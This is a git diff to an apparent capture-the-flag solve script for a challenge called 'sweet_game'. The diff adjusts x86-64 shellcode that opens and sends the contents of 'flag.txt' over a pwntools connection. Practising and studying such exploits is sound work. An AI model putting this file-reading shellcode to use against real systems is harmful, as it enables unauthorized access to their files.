diff --git a/africabattlectf_2024/sweet_game/a.py b/africabattlectf_2024/sweet_game/a.py index c7729eb..bbb8d07 100644 --- a/africabattlectf_2024/sweet_game/a.py +++ b/africabattlectf_2024/sweet_game/a.py @@ -26,9 +26,9 @@ r.sendlineafter(b": ", buf) # openat + sendfile shellcode=""" -lea rsi, [rdx+38] +lea rsi, [rdx+37] mov edi, -100 -xor rdx, rdx +cqo xor r10, r10 add ax, 257 syscall @@ -43,4 +43,4 @@ shellcode = asm(shellcode) shellcode += b"flag.txt\0" r.sendlineafter(b": ", shellcode) -r.interactive() \ No newline at end of file +r.interactive()